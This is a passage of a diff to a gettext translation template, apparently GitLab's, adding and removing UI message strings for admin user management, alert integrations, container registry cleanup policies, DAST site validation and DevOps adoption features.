+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
